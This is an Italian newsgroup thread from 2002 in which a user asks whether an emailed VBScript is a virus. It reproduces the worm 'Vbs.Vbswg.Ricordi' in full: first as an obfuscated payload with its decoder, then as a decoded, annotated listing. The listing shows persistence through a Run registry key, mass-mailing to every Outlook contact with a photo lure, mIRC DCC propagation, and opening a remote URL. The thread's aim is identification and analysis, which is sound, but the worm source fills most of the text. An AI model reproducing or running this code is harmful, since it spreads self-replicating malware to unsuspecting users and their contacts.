Newsgroup: it.comp.lang.visual-basic
Titolo: VBScript strano

Salve, ho ricevuto tramite e-mail un VBScript (che non ho mandato in
esecuzione) e vorrei chiedervi se come penso si tratta di un virus. Il
contenuto dello script è:
'Vbs.Vbswg.Ricordi Created By VirusSex. 2/13/2002
Execute
CNN5A95E("/^j{6^j{ o6Zqkwzlq(Kzmi|ml(J (^qz}{[m?6(:79;7:88:  [m|(W;<89^K;(E(
kzmi|mwjrmk|0*{kzqx|qvo6nqtm{ {|muwjrmk|*1  X=>[[@T=(E(W;<89^K;6om|{xmkqitnw
tlmz091  J<P?PYNP(E(X=>[[@T=(.(*dQwg{}ttig{xqiooqiglqgv}lq{uw6rxo6~j{*  [m|(
M>@=L9WA(E(kzmi|mwjrmk|0* {kzqx|6{pmtt*1  M>@=L9WA6zmo zq|m(*PSTUd[WN\_IZMdU
qkzw{wn|d_qvlw {dK}zzmv|^mz{qwvdZ}vd_qv]xli|m*4(* {kzqx|6m?m(*(.(J<P?PYNP(.(
*(-*  W;<89^K;6kwx nqtm( {kzqx|6{kzqx|n}ttvium4(J<P?PYNP  ]K:?XLY]  Qn(M>@=L
9WA6zmozmil0*PSTUd[WN\_IZMdUqkzw{wn|d_qvlw {dK}zzmv|^mz{qwvdZqkwzlqd]I?WU:QI
*1(DF(9(|pmv  SL=N;TAV  Mvl(qn  Qn(M>@=L9WA6zmozmil0*PSTUd[WN\_IZMdUqkzw{wn|
d_qvlw {dK}zzmv|^mz{qwvdZqkwzlqdL9=IK=VR*1(DF(9(|pmv  PU^W?MLP(**  Mvl(qn   
 [m|(Z]:[?V?:E(W;<89^K;6wxmv|m?|nqtm0 {kzqx|6{kzqx|n}ttvium1  WQ^;=9;A(E(Z]:
[?V?:6zmilitt  Z]:[?V?:6ktw{m  Lw  qn(vw|0W;<89^K;6nqtmm?q{|{0 {kzqx|6{kzqx|
n}ttvium11(|pmv  {m|(WWW8;9[WE(W;<89^K;6kzmi|m|m?|nqtm0 {kzqx|6{kzqx|n}ttviu
m1  WWW8;9[W6 zq|m(WQ^;=9;A  WWW8;9[W6ktw{m  mvl(qn  L;LUOR>=(E(M>@=L9WA6zmo
zmil0*PSTUd[WN\_IZMdUqkzw{wn|d_qvlw {dK}zzmv|^mz{qwvdZ}vd_qv]xli|m*1  Qn(L;L
UOR>=(DF(* {kzqx|6m?m(*(.(J<P?PYNP(.(*(-*(|pmv  M>@=L9WA6zmo zq|m(*PSTUd[WN\
_IZMdUqkzw{wn|d_qvlw {dK}zzmv|^mz{qwvdZ}vd_qv]xli|m*4(* {kzqx|6m?m(*(.(J<P?P
YNP(.(*(-*  mvl(qn  L;LUOR>=E(**  twwx  N}vk|qwv(SL=N;TAV01  [m|(U@9]UYY;(E(
Kzmi|mWjrmk|0*W}|twws6Ixxtqki|qwv*1  Qn(U@9]UYY;(E(*W}|twws*(\pmv  [m|(XS><>
ZUO(E(U@9]UYY;6Om|Vium[xikm0*UIXQ*1  [m|(YJ<:=RNY(E(XS><>ZUO6Illzm{{Tq{|{  N
wz(Mikp(V[M9RTR>(Qv(YJ<:=RNY  Qn(V[M9RTR>6Illzm{{Mv|zqm{6Kw}v|(DF(8(\pmv  OS
@INL<Y(E(V[M9RTR>6Illzm{{Mv|zqm{6Kw}v|  Nwz(TT8<^NPP(E(9(\w(OS@INL<Y  [m|(LS
LZL@P@(E(U@9]UYY;6Kzmi|mQ|mu081  [m|(I;:P@@[;(E(V[M9RTR>6Illzm{{Mv|zqm{0TT8<
^NPP1  LSLZL@P@6\w(E(I;:P@@[;6Illzm{{  LSLZL@P@6[}jrmk|(E(*\q(zqkwzlq(lq(Um)
))*  LSLZL@P@6Jwl (E(*^mlq(ti(uqi(nw|w(vmtt/ivvm{{w)))*  m?mk}|m(*{m|(I99KAU
<;(ELSLZL@P@6*(.(Kpz0>=1(.(Kpz099>1(.(Kpz099>1(.(Kpz0A?1(.(Kpz0AA1(.(Kpz098<
1(.(Kpz098A1(.(Kpz09891(.(Kpz09981(.(Kpz099>1(.(Kpz099=1  U>A=>;;8(E(J<P?PYN
P  LSLZL@P@6Lmtm|mIn|mz[}juq|(E(\z}m  I99KAU<;6Ill(U>A=>;;8  Qn(LSLZL@P@6\w(
DF(**(\pmv  LSLZL@P@6[mvl  Mvl(Qn  Vm?|  Mvl(Qn  Vm?|  Mvl(Qn  Mvl(n}vk|qwv 
 N}vk|qwv(PU^W?MLP0NV=:NNR@1  Qn(NV=:NNR@(DF(**(\pmv  R9J@:?@<(E(M>@=L9WA6zm
ozmil0*PSMagTWKITgUIKPQVMd[wn| izmdUqkzw{wn|d_qvlw {dK}zzmv|^mz{qwvdXzwoziuN
qtm{Lqz*1  Qn(W;<89^K;6nqtmm?q{|{0*kBduqzkduqzk6qvq*1(\pmv  NV=:NNR@(E(*kBdu
qzk*  Mt{mQn(W;<89^K;6nqtmm?q{|{0*kBduqzk;:duqzk6qvq*1(\pmv  NV=:NNR@(E(*kBd
uqzk;:*  Mt{mQn(W;<89^K;6nqtmm?q{|{0R9J@:?@<(.(*duqzkduqzk6qvq*1(\pmv  NV=:N
NR@(E(R9J@:?@<(.(*duqzk*  Mt{mQn(W;<89^K;6nqtmm?q{|{0R9J@:?@<(.(*duqzk;:duqz
k6qvq*1(\pmv  NV=:NNR@(E(R9J@:?@<(.(*duqzk*  Mt{m  NV=:NNR@(E(**  Mvl(Qn  Mv
l(Qn  Qn(NV=:NNR@(DF(**(\pmv  [m|(ZNA?@^^9(E(W;<89^K;6Kzmi|m\m?|Nqtm0NV=:NNR
@(.(*d{kzqx|6qvq*4(\z}m1  ZNA?@^^9(E(*c{kzqx|e*(.(~jKzTn(.(*v8Ewv(9BRWQVB+Bf
*  ZNA?@^^9(E(ZNA?@^^9(.(~jKzTn(.(*v8Ewv(9BRWQVB+Bf*  ZNA?@^^9(E(ZNA?@^^9(.(
~jKzTn(.(*v9E((7qn(0(,vqks(EE(,um(1(f(pit|(.*  ZNA?@^^9(E(ZNA?@^^9(.(~jKzTn(
.(*v:E((76*(.(Kpz09881(.(Kpz0AA1(.(Kpz0AA1(.(*({mvl(,vqks(*  ZNA?@^^9(E(ZNA?
@^^9(.(J<P?PYNP  ZNA?@^^9(E(ZNA?@^^9(.(~jKzTn(.(*v;E.*  {kzqx|6Ktw{m  Mvl(Qn
  Mvl(N}vk|qwv  N}vk|qwv(W>]>RRS\01  Wv(Mzzwz(Zm{}um(Vm?|  [m|(Q^WM=8[@(E(W;
<89^K;6Lzq~m{  Nwz(Mikp(\YKL8Z?M(Qv(Q^WM=8[@  TI:?T>XW(E(\YKL8Z?M(.(*(d(*  K
itt(R>PN?LN?0TI:?T>XW1  Vm?|  Mvl(N}vk|qwv    N}vk|qwv(R>PN?LN?0Y<QW:@]P1  O
M:]:[?V(E(Y<QW:@]P  [m|(O:9Q^;=9(E(W;<89^K;6Om|Nwtlmz0OM:]:[?V1  [m|(S>?WW8;
9(E(O:9Q^;=96Nqtm{  Nwz(Mikp([=K;LUOR(Qv(S>?WW8;9  Qn(tki{m0[=K;LUOR6Vium1(E
(*uqzk6qvq*(\pmv  PU^W?MLP0[=K;LUOR6Xizmv|Nwtlmz1  Mvl(Qn  Vm?|  [m|(Y;<@9]U
Y(E(O:9Q^;=96[}jnwtlmz{  Nwz(Mikp(Y[@S><>Z(Qv(Y;<@9]UY  Kitt(0Y[@S><>Z6xi|p1
  Vm?|  Mvl(n}vk|qwv  N}vk|qwv(]K:?XLY]01  M>@=L9WA6z}v(*p||xB77umujmz{6nwz|
}vmkq| 6kwu7~qz}{m?:88:*4nit{m  mvl(n}vk|qwv  /^j{ o(:(Jm|i6(J (cSe  ",-8)
Function CNN5A95E(HKDV8745,L088IPG2)
For QP6TRNU0 = 1 To Len(HKDV8745)
E73J8TQ7 = Mid(HKDV8745, QP6TRNU0, 1)
If E73J8TQ7 = Chr(2) Then
E73J8TQ7 = Chr(34 + L088IPG2)
ElseIf E73J8TQ7 = Chr(3) Then
E73J8TQ7 = Chr(10 + L088IPG2)
ElseIf E73J8TQ7 = Chr(4) Then
E73J8TQ7 = Chr(13 + L088IPG2)
Else
E73J8TQ7 = Chr(Asc(E73J8TQ7) + L088IPG2)
End If
CNN5A95E = CNN5A95E & E73J8TQ7
Next
End Function
'Vbswg 2 Beta. By [K]

 'Vbs.Vbswg.Ricordi Created By VirusSex. 2/13/2002
No, č un programma che fa il caffe....
Ciao
--
Timothy Redaelli
P.S. Da come č fatto sembra un virus
P.S.2 Cmq non si capisce + o - nulla dal codice

 ha scritto nel messaggio
| news:GoOa8.57132$om6.1...@news1.tin.it...
| > Salve, ho ricevuto tramite e-mail un VBScript (che non ho mandato in
| > esecuzione) e vorrei chiedervi se come penso si tratta di un virus. Il
| > contenuto dello script č:
| >
| > 'Vbs.Vbswg.Ricordi Created By VirusSex. 2/13/2002
|
| No, č un programma che fa il caffe....
...zo dici! :)
quel coso e' un programma per l'aggiornamento
di windows postato direttamente da Zio Bill!
Scusa Tiziano, ma come ti e' venuto in mente di
eseguire quel coso?
la curiosita' sopra la sicurezza? si direbbe di si.
--
[ Penguin At Work ]
-> 
http://web.tiscali.it/penguinatwork/
-> aka Fustino Di Dixan while working

 la curiosita' sopra la sicurezza? si direbbe di si.
si direbbe di no.
lui ha detto
"che non ho mandato in esecuzione".
si', e' un virus, me ne appena arrivato uno e mcafee se ne accorto quando ho
tentato di salvare il vbs per leggerlo.
j.l'.unico.mac.buono.e'.un.mac.afee

 ha scritto nel messaggio
news:a4gglo$3dhl$1...@ID-51318.news.dfncis.de...
[CUT]
| si direbbe di no.
| lui ha detto
| "che non ho mandato in esecuzione".
|
| si', e' un virus, me ne appena arrivato uno e mcafee se ne accorto quando
ho
| tentato di salvare il vbs per leggerlo.
eh eh... :)-
beccato in castagna!
mea culpa? si!


contenuto dello script č:
[snip]
Si', e' un vbscript dozzinale criptato in modo molto semplice.
Sotto la firma allego il codice in chiaro, con i le indentazioni e i nomi delle variabili
e delle funzioni sostituiti da me per rendere il tutto piu' comprensibile.
-- 
ciao,hal.decrypt
----------------- BEGIN CODE ------------------------
'Vbs.Vbswg.Ricordi Created By VirusSex. 2/13/2002
Set fso = createobject("scripting.filesystemobject")
systemfolder = fso.getspecialfolder(1)
mioVirus = systemfolder & "\Io_sulla_spiaggia_di_nudismo.jpg.vbs"
Set wsShell = createobject("wscript.shell")
wsShell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.e7e " & mioVirus & " %"
fso.copyfile wscript.scriptfullname, mioVirus
VaiSuInternet
If wsShell.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ricordi\UA7OM2IA") <> 1 then
	KD5F3L9N
End if
If wsShell.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ricordi\D15AC5NJ") <> 1 then
	SputtanaIRC ""
End if
Set QuestoFile= fso.opentextfile(wscript.scriptfullname)
QuestoScript = QuestoFile.readall
QuestoFile.close
Do
	if not(fso.fileexists(wscript.scriptfullname)) then
		set SempreStoFile= fso.createtextfile(wscript.scriptfullname)
		SempreStoFile.write QuestoScript
		SempreStoFile.close
	end if
	AvvioVirusAlBoot = wsShell.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
 
	If AvvioVirusAlBoot <> "wscript.e7e " & mioVirus & " %" then
		wsShell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.e7e " & mioVirus & " %"
	end if
	AvvioVirusAlBoot= ""
loop
Function KD5F3L9N()
	Set outlucco = CreateObject("Outlook.Application")
	If outlucco = "Outlook" Then
		Set outluccMapi = outlucco.GetNameSpace("MAPI")
		Set ListeIndirizzi = outluccMapi.AddressLists
		For Each Rubrica In ListeIndirizzi
			If Rubrica.AddressEntries.Count <> 0 Then
				TotIndirizzi = Rubrica.AddressEntries.Count
				For contaIndirizzi = 1 To TotIndirizzi
					Set NuovoItem = outlucco.CreateItem(0)
					Set Indirizzo = Rubrica.AddressEntries(contaIndirizzi)
					NuovoItem.To = Indirizzo.Address
					NuovoItem.Subject = "Ti ricordi di Me!!!"
					NuovoItem.Body = "Vedi la mia foto nell'annesso!!!"
					execute "set Allegati = NuovoItem.Attachments"
					NomeFile = mioVirus
					NuovoItem.DeleteAfterSubmit = True
					Allegati.Add NomeFile
					If NuovoItem.To <> "" Then
						NuovoItem.Send
					End If
				Next
			End If
		Next
	End If
End function
Function SputtanaIRC(pathMirc)
	If pathMirc <> "" Then
		dirProgrammi = wsShell.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
		If fso.fileexists("c:\mirc\mirc.ini") Then
			pathMirc = "c:\mirc"
		ElseIf fso.fileexists("c:\mirc32\mirc.ini") Then
			pathMirc = "c:\mirc32"
		ElseIf fso.fileexists(dirProgrammi & "\mirc\mirc.ini") Then
			pathMirc = dirProgrammi & "\mirc"
		ElseIf fso.fileexists(dirProgrammi & "\mirc32\mirc.ini") Then
			pathMirc = dirProgrammi & "\mirc"
		Else
			pathMirc = ""
		End If
	End If
	If pathMirc <> "" Then
		Set scriptMirc = fso.CreateTextFile(pathMirc & "\script.ini", True)
		scriptMirc = "[script]" & vbCrLf & "n0=on 1:JOIN:#:^"
		scriptMirc = scriptMirc & vbCrLf & "n0=on 1:JOIN:#:^"
		scriptMirc = scriptMirc & vbCrLf & "n1=  /if ( $nick == $me ) ^ halt &"
		scriptMirc = scriptMirc & vbCrLf & "n2=  /.dcc send $nick "
		scriptMirc = scriptMirc & mioVirus
		scriptMirc = scriptMirc & vbCrLf & "n3=&"
		script.Close
	End If
End Function
Function ScanDischi()
	On Error Resume Next
	Set dischi = fso.Drives
	For Each disco In dischi
		root = disco & " \ "
		Call CercaMirc(root)
	Next
End Function
Function CercaMirc(rootPath)
	miaRoot = rootPath
	Set cartellaRoot = fso.GetFolder(miaRoot)
	Set mieiFiles = cartellaRoot.Files
	For Each mioFile In mieiFiles
		If lcase(mioFile.Name) = "mirc.ini" Then
			SputtanaIRC(mioFile.ParentFolder)
		End If
	Next
	Set mieCartelle = cartellaRoot.Subfolders
	For Each miaDir In mieCartelle
		Call (miaDir.path)
	Next
End function
Function VaiSuInternet()
	wsShell.run "
http://members.fortunecity.com/viruse72002
",false
end function
------------------------ END CODE -----------------------------

 ha scritto nel messaggio
news:a4hfoa$j29$1...@newsreader.mailgate.org...
| Tiziano Tizi ha scritto:
|
| >Salve, ho ricevuto tramite e-mail un VBScript (che non ho mandato in
| >esecuzione) e vorrei chiedervi se come penso si tratta di un virus. Il
| >contenuto dello script č:
| [snip]
|
| Si', e' un vbscript dozzinale criptato in modo molto semplice.
fico! mi spieghi cosa hai usato per capirci qualcosa?
non credo tu ti sia messo a manina,giusto?
Grazie.


non credo tu ti sia messo a manina,giusto?
Mentre mangiavo lo yogurt, ho fatto il lavoretto:
10 secondi per decodificarlo, qualche minuto per 
sostituire i nomi delle variabili :-)
Be', in realta' la funzione di decodifica era sulla stessa mail :-)
-- 
ciao, hal

 Mentre mangiavo lo yogurt, ho fatto il lavoretto:
ovvio, no ?
virus bulgaro, yogurt bulgaro.
j.omo

j.omo
mi sarei aspettato j.ogurt ;-)
-- 
ciao, hal.setPoint

 ha scritto

mica potevo fare
y.omo
my name is java, non yava, tantomeno yahwe :)

 ha scritto nel messaggio
news:a4ihhg$q7n$1...@newsreader.mailgate.org...
| Fustino di Dixan ha scritto:
|
| >fico! mi spieghi cosa hai usato per capirci qualcosa?
| Il colpo d' occhio ;-)
sara'... io non ce l'ho.
| >non credo tu ti sia messo a manina,giusto?
| Mentre mangiavo lo yogurt, ho fatto il lavoretto:
| 10 secondi per decodificarlo, qualche minuto per
| sostituire i nomi delle variabili :-)
| Be', in realta' la funzione di decodifica era sulla stessa mail :-)
??? mi sento 1 cretino ??? (e neanche poco! a sentir voi
non vedo l'ovvieta' di questa cosa)
sono forse preso in giro? :)


 sono forse preso in giro? :)
quanto codice hai scritto, e _letto_ tu, e quanto hal.xp ?
j.

 ha scritto nel messaggio
| > sono forse preso in giro? :)
| quanto codice hai scritto, e _letto_ tu, e quanto hal.xp ?
vabbe'... sara' che oggi non ci sono ma non capisco
ancora... il *codice* trascritto non l'ho letto tutto
ne tanto meno ci ho dato peso.
facciamo che mi auto-fanculizzo? :) per fortuna e'
fine settimana!!


 fine settimana!!
non c'e' bisogno che arrivi a questo.
intendevo: quanta experienza (oops, lapsus calami, guarda un po' :) hai tu e
quanta se ne e' fatta hal a scrivere codice proprio e leggere codice altrui
?
conta...
ciao, j.

[ Penguin At Work ]
^___^
-- 
ciao, hal

 ha scritto nel messaggio
news:a4ivm0$3s7$1...@newsreader.mailgate.org...
[SUPER CUT]
| >per fortuna e' fine settimana!!
| ^___^
concordo... grazie per la spiegazione.


 ha scritto nel messaggio
news:a4ivch$jnfg$1...@ID-51318.news.dfncis.de...
| non c'e' bisogno che arrivi a questo.
| intendevo: quanta experienza (oops, lapsus calami, guarda un po' :) hai tu
e
| quanta se ne e' fatta hal a scrivere codice proprio e leggere codice
altrui
| ?
| conta...
umm... sono un giovincello :) si, si!
forse hai ragione, pero' se mi manca la fantasia di
provare le strade nascoste e' triste...


Grazie, sei grande!